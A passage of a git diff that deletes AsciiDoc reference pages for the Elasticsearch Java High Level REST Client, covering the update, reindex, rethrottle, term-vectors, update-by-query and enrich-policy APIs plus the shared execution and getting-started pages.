-include-tagged::{doc-tests-file}[{api}-request-scroll]
---------------------------------------------------
-<1> set scroll time
-
-
-==== Optional arguments
-In addition to the options above the following arguments can optionally be also provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the reindex request to be performed as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-refresh]
---------------------------------------------------
-<1> Refresh index after calling reindex
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-task-submission"]
-==== Reindex task submission
-It is also possible to submit a +{request}+ and not wait for it completion with the use of Task API. This is an equivalent of a REST request
-with wait_for_completion flag set to false.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{hlrc-tests}/ReindexIT.java[submit-reindex-task]
---------------------------------------------------
-<1> A +{request}+ is constructed the same way as for the synchronous method
-<2> A submit method returns a `TaskSubmissionResponse` which contains a task identifier.
-<3> The task identifier can be used to get `response` from a completed task.
-
-[id="{upid}-{api}-response"]
-==== Reindex Response
-
-The returned +{response}+ contains information about the executed operations and
-allows to iterate over each result as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Get total time taken
-<2> Check if the request timed out
-<3> Get total number of docs processed
-<4> Number of docs that were updated
-<5> Number of docs that were created
-<6> Number of docs that were deleted
-<7> Number of batches that were executed
-<8> Number of skipped docs
-<9> Number of version conflicts
-<10> Number of times request had to retry bulk index operations
-<11> Number of times request had to retry search operations
-<12> The total time this request has throttled itself not including the current throttle time if it is currently sleeping
-<13> Remaining delay of any current throttle sleep or 0 if not sleeping
-<14> Failures during search phase
-<15> Failures during bulk index operation
diff --git a/docs/java-rest/high-level/document/rethrottle.asciidoc b/docs/java-rest/high-level/document/rethrottle.asciidoc
deleted file mode 100644
index cb606521a1d..00000000000
--- a/docs/java-rest/high-level/document/rethrottle.asciidoc
+++ /dev/null
@@ -1,79 +0,0 @@
---
-:api: rethrottle
-:request: RethrottleRequest
-:response: ListTasksResponse
---
-
-[id="{upid}-{api}"]
-=== Rethrottle API
-
-[id="{upid}-{api}-request"]
-==== Rethrottle Request
-
-A +{request}+ can be used to change the current throttling on a running
-reindex, update-by-query or delete-by-query task or to disable throttling of
-the task entirely. It requires the task Id of the task to change.
-
-In its simplest form, you can use it to disable throttling of a running
-task using the following:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-disable-request]
---------------------------------------------------
-<1> Create a +{request}+ that disables throttling for a specific task id
-
-By providing a `requestsPerSecond` argument, the request will change the
-existing task throttling to the specified value:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Request to change the throttling of a task to 100 requests per second
-
-The rethrottling request can be executed by using one of the three appropriate
-methods depending on whether a reindex, update-by-query or delete-by-query task
-should be rethrottled:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-execution]
---------------------------------------------------
-<1> Execute reindex rethrottling request
-<2> The same for update-by-query
-<3> The same for delete-by-query
-
-[id="{upid}-{api}-async"]
-==== Asynchronous Execution
-
-The asynchronous execution of a rethrottle request requires both the +{request}+
-instance and an `ActionListener` instance to be passed to the asynchronous
-method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-async]
---------------------------------------------------
-<1> Execute reindex rethrottling asynchronously
-<2> The same for update-by-query
-<3> The same for delete-by-query
-
-The asynchronous method does not block and returns immediately.
-Once it is completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed. A typical listener looks like this:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-async-listener]
---------------------------------------------------
-<1> Code executed when the request is successfully completed
-<2> Code executed when the request fails with an exception
-
-[id="{upid}-{api}-response"]
-==== Rethrottle Response
-
-Rethrottling returns the task that has been rethrottled in the form of a
-+{response}+. The structure of this response object is described in detail
-in <<java-rest-high-cluster-list-tasks-response,this section>>.
diff --git a/docs/java-rest/high-level/document/term-vectors.asciidoc b/docs/java-rest/high-level/document/term-vectors.asciidoc
deleted file mode 100644
index e8d4a25a2ca..00000000000
--- a/docs/java-rest/high-level/document/term-vectors.asciidoc
+++ /dev/null
@@ -1,101 +0,0 @@
---
-:api: term-vectors
-:request: TermVectorsRequest
-:response: TermVectorsResponse
---
-
-[id="{upid}-{api}"]
-=== Term Vectors API
-
-Term Vectors API returns information and statistics on terms in the fields
-of a particular document. The document could be stored in the index or
-artificially provided by the user.
-
-
-[id="{upid}-{api}-request"]
-==== Term Vectors Request
-
-A +{request}+ expects an `index`, a `type` and an `id` to specify
-a certain document, and fields for which the information is retrieved.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-Term vectors can also be generated for artificial documents, that is for
-documents not present in the index:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-artificial]
---------------------------------------------------
-<1> An artificial document is provided as an `XContentBuilder` object,
-the Elasticsearch built-in helper to generate JSON content.
-
-===== Optional arguments
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-optional-arguments]
---------------------------------------------------
-<1> Set `fieldStatistics` to `false` (default is `true`) to omit document count,
-sum of document frequencies, sum of total term frequencies.
-<2> Set `termStatistics` to `true` (default is `false`) to display
-total term frequency and document frequency.
-<3> Set `positions` to `false` (default is `true`) to omit the output of
-positions.
-<4> Set `offsets` to `false` (default is `true`) to omit the output of
-offsets.
-<5> Set `payloads` to `false` (default is `true`) to omit the output of
-payloads.
-<6> Set `filterSettings` to filter the terms that can be returned based
-on their tf-idf scores.
-<7> Set `perFieldAnalyzer` to specify  a different analyzer than
-the one that the field has.
-<8> Set `realtime` to `false` (default is `true`) to retrieve term vectors
-near realtime.
-<9> Set a routing parameter
-
-
-include::../execution.asciidoc[]
-
-
-[id="{upid}-{api}-response"]
-==== Term Vectors Response
-
-+{response}+ contains the following information:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The index name of the document.
-<2> The type name of the document.
-<3> The id of the document.
-<4> Indicates whether or not the document found.
-
-
-===== Inspecting Term Vectors
-If +{response}+ contains non-null list of term vectors,
-more information about each term vector can be obtained using the following:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-term-vectors]
---------------------------------------------------
-<1> The name of the current field
-<2> Fields statistics for the current field - document count
-<3> Fields statistics for the current field - sum of total term frequencies
-<4> Fields statistics for the current field - sum of document frequencies
-<5> Terms for the current field
-<6> The name of the term
-<7> Term frequency of the term
-<8> Document frequency of the term
-<9> Total term frequency of the term
-<10> Score of the term
-<11> Tokens of the term
-<12> Position of the token
-<13> Start offset of the token
-<14> End offset of the token
-<15> Payload of the token
diff --git a/docs/java-rest/high-level/document/update-by-query.asciidoc b/docs/java-rest/high-level/document/update-by-query.asciidoc
deleted file mode 100644
index 26a6bc362b1..00000000000
--- a/docs/java-rest/high-level/document/update-by-query.asciidoc
+++ /dev/null
@@ -1,148 +0,0 @@
---
-:api: update-by-query
-:request: UpdateByQueryRequest
-:response: UpdateByQueryResponse
---
-
-[id="{upid}-{api}"]
-=== Update By Query API
-
-[id="{upid}-{api}-request"]
-==== Update By Query Request
-
-A +{request}+ can be used to update documents in an index.
-
-It requires an existing index (or a set of indices) on which the update is to
-be performed.
-
-The simplest form of a +{request}+ looks like this:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Creates the +{request}+ on a set of indices.
-
-By default version conflicts abort the +{request}+ process but you can just
-count them instead with:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-conflicts]
---------------------------------------------------
-<1> Set `proceed` on version conflict
-
-You can limit the documents by adding a query.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-query]
---------------------------------------------------
-<1> Only copy documents which have field `user` set to `kimchy`
-
-It’s also possible to limit the number of processed documents by setting `maxDocs`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-maxDocs]
---------------------------------------------------
-<1> Only copy 10 documents
-
-By default +{request}+ uses batches of 1000. You can change the batch size with
-`setBatchSize`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-scrollSize]
---------------------------------------------------
-<1> Use batches of 100 documents
-
-Update by query can also use the ingest feature by specifying a `pipeline`.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-pipeline]
---------------------------------------------------
-<1> set pipeline to `my_pipeline`
-
-+{request}+ also supports a `script` that modifies the document:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-script]
---------------------------------------------------
-<1> `setScript` to increment the `likes` field on all documents with user `kimchy`.
-
-+{request}+ can be parallelized using `sliced-scroll` with `setSlices`:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-slices]
---------------------------------------------------
-<1> set number of slices to use
-
-`UpdateByQueryRequest` uses the `scroll` parameter to control how long it keeps the "search context" alive.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-scroll]
---------------------------------------------------
-<1> set scroll time
-
-If you provide routing then the routing is copied to the scroll query, limiting the process to the shards that match
-that routing value.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-routing]
---------------------------------------------------
-<1> set routing
-
-
-==== Optional arguments
-In addition to the options above the following arguments can optionally be also provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for the update by query request to be performed as a `TimeValue`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-refresh]
---------------------------------------------------
-<1> Refresh index after calling update by query
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-indicesOptions]
---------------------------------------------------
-<1> Set indices options
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Update By Query Response
-
-The returned +{response}+ contains information about the executed operations and
-allows to iterate over each result as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Get total time taken
-<2> Check if the request timed out
-<3> Get total number of docs processed
-<4> Number of docs that were updated
-<5> Number of docs that were deleted
-<6> Number of batches that were executed
-<7> Number of skipped docs
-<8> Number of version conflicts
-<9> Number of times request had to retry bulk index operations
-<10> Number of times request had to retry search operations
-<11> The total time this request has throttled itself not including the current throttle time if it is currently sleeping
-<12> Remaining delay of any current throttle sleep or 0 if not sleeping
-<13> Failures during search phase
-<14> Failures during bulk index operation
diff --git a/docs/java-rest/high-level/document/update.asciidoc b/docs/java-rest/high-level/document/update.asciidoc
deleted file mode 100644
index 35300512dfc..00000000000
--- a/docs/java-rest/high-level/document/update.asciidoc
+++ /dev/null
@@ -1,237 +0,0 @@
---
-:api: update
-:request: UpdateRequest
-:response: UpdateResponse
---
-
-[id="{upid}-{api}"]
-=== Update API
-
-[id="{upid}-{api}-request"]
-==== Update Request
-
-An +{request}+ requires the following arguments:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-<1> Index
-<2> Document id
-
-The Update API allows to update an existing document by using a script
-or by passing a partial document.
-
-==== Updates with a script
-The script can be provided as an inline script:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-with-inline-script]
---------------------------------------------------
-<1> Script parameters provided as a `Map` of objects
-<2> Create an inline script using the `painless` language and the previous parameters
-<3> Sets the script to the update request
-
-Or as a stored script:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-with-stored-script]
---------------------------------------------------
-<1> Reference to a script stored under the name `increment-field` in the `painless` language
-<2> Sets the script in the update request
-
-==== Updates with a partial document
-When using updates with a partial document, the partial document will be merged with the
-existing document.
-
-The partial document can be provided in different ways:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-with-doc-as-string]
---------------------------------------------------
-<1> Partial document source provided as a `String` in JSON format
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-with-doc-as-map]
---------------------------------------------------
-<1> Partial document source provided as a `Map` which gets automatically converted
-to JSON format
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-with-doc-as-xcontent]
---------------------------------------------------
-<1> Partial document source provided as an `XContentBuilder` object, the Elasticsearch
-built-in helpers to generate JSON content
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-shortcut]
---------------------------------------------------
-<1> Partial document source provided as `Object` key-pairs, which gets converted to
-JSON format
-
-==== Upserts
-If the document does not already exist, it is possible to define some content that
-will be inserted as a new document using the `upsert` method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-upsert]
---------------------------------------------------
-<1> Upsert document source provided as a `String`
-
-Similarly to the partial document updates, the content of the `upsert` document
-can be defined using methods that accept `String`, `Map`, `XContentBuilder` or
-`Object` key-pairs.
-
-==== Optional arguments
-The following arguments can optionally be provided:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-routing]
---------------------------------------------------
-<1> Routing value
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-timeout]
---------------------------------------------------
-<1> Timeout to wait for primary shard to become available as a `TimeValue`
-<2> Timeout to wait for primary shard to become available as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-refresh]
---------------------------------------------------
-<1> Refresh policy as a `WriteRequest.RefreshPolicy` instance
-<2> Refresh policy as a `String`
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-retry]
---------------------------------------------------
-<1> How many times to retry the update operation if the document to update has
-been changed by another operation between the get and indexing phases of the
-update operation
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-no-source]
---------------------------------------------------
-<1> Enable source retrieval, disabled by default
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-source-include]
---------------------------------------------------
-<1> Configure source inclusion for specific fields
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-source-exclude]
---------------------------------------------------
-<1> Configure source exclusion for specific fields
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-cas]
---------------------------------------------------
-<1> ifSeqNo
-<2> ifPrimaryTerm
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-detect-noop]
---------------------------------------------------
-<1> Disable the noop detection
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-scripted-upsert]
---------------------------------------------------
-<1> Indicate that the script must run regardless of whether the document exists or not,
-ie the script takes care of creating the document if it does not already exist.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-doc-upsert]
---------------------------------------------------
-<1> Indicate that the partial document must be used as the upsert document if it
-does not exist yet.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request-active-shards]
---------------------------------------------------
-<1> Sets the number of shard copies that must be active before proceeding with
-the update operation.
-<2> Number of shard copies provided as a `ActiveShardCount`: can be `ActiveShardCount.ALL`,
-`ActiveShardCount.ONE` or `ActiveShardCount.DEFAULT` (default)
-
-include::../execution.asciidoc[]
-
-[id="{upid}-{api}-response"]
-==== Update Response
-
-The returned +{response}+ allows to retrieve information about the executed
-operation as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Handle the case where the document was created for the first time (upsert)
-<2> Handle the case where the document was updated
-<3> Handle the case where the document was deleted
-<4> Handle the case where the document was not impacted by the update,
-ie no operation (noop) was executed on the document
-
-When the source retrieval is enabled in the `UpdateRequest`
-through the fetchSource method, the response contains the
-source of the updated document:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-getresult]
---------------------------------------------------
-<1> Retrieve the updated document as a `GetResult`
-<2> Retrieve the source of the updated document as a `String`
-<3> Retrieve the source of the updated document as a `Map<String, Object>`
-<4> Retrieve the source of the updated document as a `byte[]`
-<5> Handle the scenario where the source of the document is not present in
-the response (this is the case by default)
-
-It is also possible to check for shard failures:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-failure]
---------------------------------------------------
-<1> Handle the situation where number of successful shards is less than
-total shards
-<2> Handle the potential failures
-
-When a `UpdateRequest` is performed against a document that does not exist,
-the response has `404` status code, an `ElasticsearchException` gets thrown
-which needs to be handled as follows:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-docnotfound]
---------------------------------------------------
-<1> Handle the exception thrown because the document not exist
-
-If there is a version conflict, an `ElasticsearchException` will
-be thrown:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-conflict]
---------------------------------------------------
-<1> The raised exception indicates that a version conflict error was returned.
diff --git a/docs/java-rest/high-level/enrich/delete_policy.asciidoc b/docs/java-rest/high-level/enrich/delete_policy.asciidoc
deleted file mode 100644
index 9bee686cce0..00000000000
--- a/docs/java-rest/high-level/enrich/delete_policy.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
---
-:api: enrich-delete-policy
-:request: DeletePolicyRequest
-:response: AcknowledgedResponse
---
-
-[id="{upid}-{api}"]
-=== Delete Policy API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Delete Policy API deletes an enrich policy from Elasticsearch.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the delete policy request was acknowledged.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether delete policy request was acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/enrich/execute_policy.asciidoc b/docs/java-rest/high-level/enrich/execute_policy.asciidoc
deleted file mode 100644
index 59594f1b741..00000000000
--- a/docs/java-rest/high-level/enrich/execute_policy.asciidoc
+++ /dev/null
@@ -1,30 +0,0 @@
---
-:api: enrich-execute-policy
-:request: ExecutePolicyRequest
-:response: ExecutePolicyResponse
---
-
-[id="{upid}-{api}"]
-=== Execute Policy API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Execute Policy API allows to execute an enrich policy by name.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ includes either the status or task id.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/enrich/get_policy.asciidoc b/docs/java-rest/high-level/enrich/get_policy.asciidoc
deleted file mode 100644
index 401a78ccca6..00000000000
--- a/docs/java-rest/high-level/enrich/get_policy.asciidoc
+++ /dev/null
@@ -1,32 +0,0 @@
---
-:api: enrich-get-policy
-:request: GetPolicyRequest
-:response: GetPolicyResponse
---
-
-[id="{upid}-{api}"]
-=== Get Policy API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Get Policy API allows to retrieve enrich policies by name
-or all policies if no name is provided.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ includes the requested enrich policy.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> The actual enrich policy.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/enrich/put_policy.asciidoc b/docs/java-rest/high-level/enrich/put_policy.asciidoc
deleted file mode 100644
index b8e9475bed1..00000000000
--- a/docs/java-rest/high-level/enrich/put_policy.asciidoc
+++ /dev/null
@@ -1,31 +0,0 @@
---
-:api: enrich-put-policy
-:request: PutPolicyRequest
-:response: AcknowledgedResponse
---
-
-[id="{upid}-{api}"]
-=== Put Policy API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The Put Policy API stores an enrich policy in Elasticsearch.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ indicates if the put policy request was acknowledged.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> Whether put policy request was acknowledged.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/enrich/stats.asciidoc b/docs/java-rest/high-level/enrich/stats.asciidoc
deleted file mode 100644
index 1d4ae50238a..00000000000
--- a/docs/java-rest/high-level/enrich/stats.asciidoc
+++ /dev/null
@@ -1,33 +0,0 @@
---
-:api: enrich-stats
-:request: StatsRequest
-:response: StatsResponse
---
-
-[id="{upid}-{api}"]
-=== Stats API
-
-[id="{upid}-{api}-request"]
-==== Request
-
-The stats API returns enrich related stats.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-request]
---------------------------------------------------
-
-[id="{upid}-{api}-response"]
-==== Response
-
-The returned +{response}+ includes enrich related stats.
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-response]
---------------------------------------------------
-<1> List of policies that are currently executing with
-    additional details.
-<2> List of coordinator stats per ingest node.
-
-include::../execution.asciidoc[]
diff --git a/docs/java-rest/high-level/execution-no-req.asciidoc b/docs/java-rest/high-level/execution-no-req.asciidoc
deleted file mode 100644
index e9a2780d1bc..00000000000
--- a/docs/java-rest/high-level/execution-no-req.asciidoc
+++ /dev/null
@@ -1,55 +0,0 @@
-////
-This file is included by high level rest client API documentation pages
-where the client method does not use a request object.
-For methods with requests, see execution.asciidoc
-////
-
-[id="{upid}-{api}-sync"]
-==== Synchronous execution
-
-When executing the +{api}+ API in the following manner, the client waits
-for the +{response}+ to be returned before continuing with code execution:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute]
---------------------------------------------------
-
-Synchronous calls may throw an `IOException` in case of either failing to
-parse the REST response in the high-level REST client, the request times out
-or similar cases where there is no response coming back from the server.
-
-In cases where the server returns a `4xx` or `5xx` error code, the high-level
-client tries to parse the response body error details instead and then throws
-a generic `ElasticsearchException` and adds the original `ResponseException` as a
-suppressed exception to it.
-
-[id="{upid}-{api}-async"]
-==== Asynchronous execution
-
-The +{api}+ API can also be called in an asynchronous fashion so that
-the client can return directly. Users need to specify how the response or
-potential failures will be handled by passing a listener to the
-asynchronous {api} method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-async]
---------------------------------------------------
-<1> The `RequestOptions` and `ActionListener` to use when the execution
-    completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed. Failure scenarios and expected exceptions are the same as in the
-synchronous execution case.
-
-A typical listener for +{api}+ looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed.
-<2> Called when the +{api}+ call fails.
diff --git a/docs/java-rest/high-level/execution.asciidoc b/docs/java-rest/high-level/execution.asciidoc
deleted file mode 100644
index cbc44a24f6c..00000000000
--- a/docs/java-rest/high-level/execution.asciidoc
+++ /dev/null
@@ -1,58 +0,0 @@
-////
-This file is included by every high level rest client API documentation page
-so we don't have to copy and paste the same asciidoc over and over again. We
-*do* have to copy and paste the same Java tests over and over again. For now
-this is intentional because it forces us to *write* and execute the tests
-which, while a bit ceremonial, does force us to cover these calls in *some*
-test.
-////
-
-[id="{upid}-{api}-sync"]
-==== Synchronous execution
-
-When executing a +{request}+ in the following manner, the client waits
-for the +{response}+ to be returned before continuing with code execution:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute]
---------------------------------------------------
-
-Synchronous calls may throw an `IOException` in case of either failing to
-parse the REST response in the high-level REST client, the request times out
-or similar cases where there is no response coming back from the server.
-
-In cases where the server returns a `4xx` or `5xx` error code, the high-level
-client tries to parse the response body error details instead and then throws
-a generic `ElasticsearchException` and adds the original `ResponseException` as a
-suppressed exception to it.
-
-[id="{upid}-{api}-async"]
-==== Asynchronous execution
-
-Executing a +{request}+ can also be done in an asynchronous fashion so that
-the client can return directly. Users need to specify how the response or
-potential failures will be handled by passing the request and a listener to the
-asynchronous {api} method:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-async]
---------------------------------------------------
-<1> The +{request}+ to execute and the `ActionListener` to use when
-the execution completes
-
-The asynchronous method does not block and returns immediately. Once it is
-completed the `ActionListener` is called back using the `onResponse` method
-if the execution successfully completed or using the `onFailure` method if
-it failed. Failure scenarios and expected exceptions are the same as in the
-synchronous execution case.
-
-A typical listener for +{api}+ looks like:
-
-["source","java",subs="attributes,callouts,macros"]
---------------------------------------------------
-include-tagged::{doc-tests-file}[{api}-execute-listener]
---------------------------------------------------
-<1> Called when the execution is successfully completed.
-<2> Called when the whole +{request}+ fails.
diff --git a/docs/java-rest/high-level/getting-started.asciidoc b/docs/java-rest/high-level/getting-started.asciidoc
deleted file mode 100644
index 226bcd0492a..00000000000
--- a/docs/java-rest/high-level/getting-started.asciidoc
+++ /dev/null
@@ -1,197 +0,0 @@
-[[java-rest-high-getting-started]]
-== Getting started
-
-This section describes how to get started with the high-level REST client from
-getting the artifact to using it in an application.
-
-[[java-rest-high-compatibility]]
-=== Compatibility
-The Java High Level REST Client requires at least Java 1.8 and depends on the Elasticsearch
-core project. The client version is the same as the Elasticsearch version that the
-client was developed for. It accepts the same request arguments as the `TransportClient`
-and returns the same response objects. See the <<java-rest-high-level-migration>>
-if you need to migrate an application from `TransportClient` to the new REST client.
-
-The High Level Client is guaranteed to be able to communicate with any Elasticsearch
-node running on the same major version and greater or equal minor version. It
-doesn't need to be in the same minor version as the Elasticsearch nodes it
-communicates with, as it is forward compatible meaning that it supports
-communicating with later versions of Elasticsearch than the one it was developed for.
-
-The 6.0 client is able to communicate with any 6.x Elasticsearch node, while the 6.1
-client is for sure able to communicate with 6.1, 6.2 and any later 6.x version, but
-there may be incompatibility issues when communicating with a previous Elasticsearch
-node version, for instance between 6.1 and 6.0, in case the 6.1 client supports new
-request body fields for some APIs that are not known by the 6.0 node(s).
-
-It is recommended to upgrade the High Level Client when upgrading the Elasticsearch
-cluster to a new major version, as REST API breaking changes may cause unexpected
-results depending on the node that is hit by the request, and newly added APIs will
-only be supported by the newer version of the client. The client should always be
-updated last, once all of the nodes in the cluster have been upgraded to the new
-major version.
-
-[[java-rest-high-javadoc]]
-=== Javadoc
-
-The javadoc for the REST high level client can be found at {rest-high-level-client-javadoc}/index.html.
-
-[[java-rest-high-getting-started-maven]]
-=== Maven Repository
-
-The high-level Java REST client is hosted on
-https://search.maven.org/search?q=g:org.elasticsearch.client[Maven
-Central]. The minimum Java version required is `1.8`.
-
-The High Level REST Client is subject to the same release cycle as
-Elasticsearch. Replace the version with the desired client version.
-
-If you are looking for a SNAPSHOT version, you should add our snapshot repository to your Maven config:
-
-["source","xml",subs="attributes"]
---------------------------------------------------
-<repositories>
-    <repository>
-        <id>es-snapshots</id>
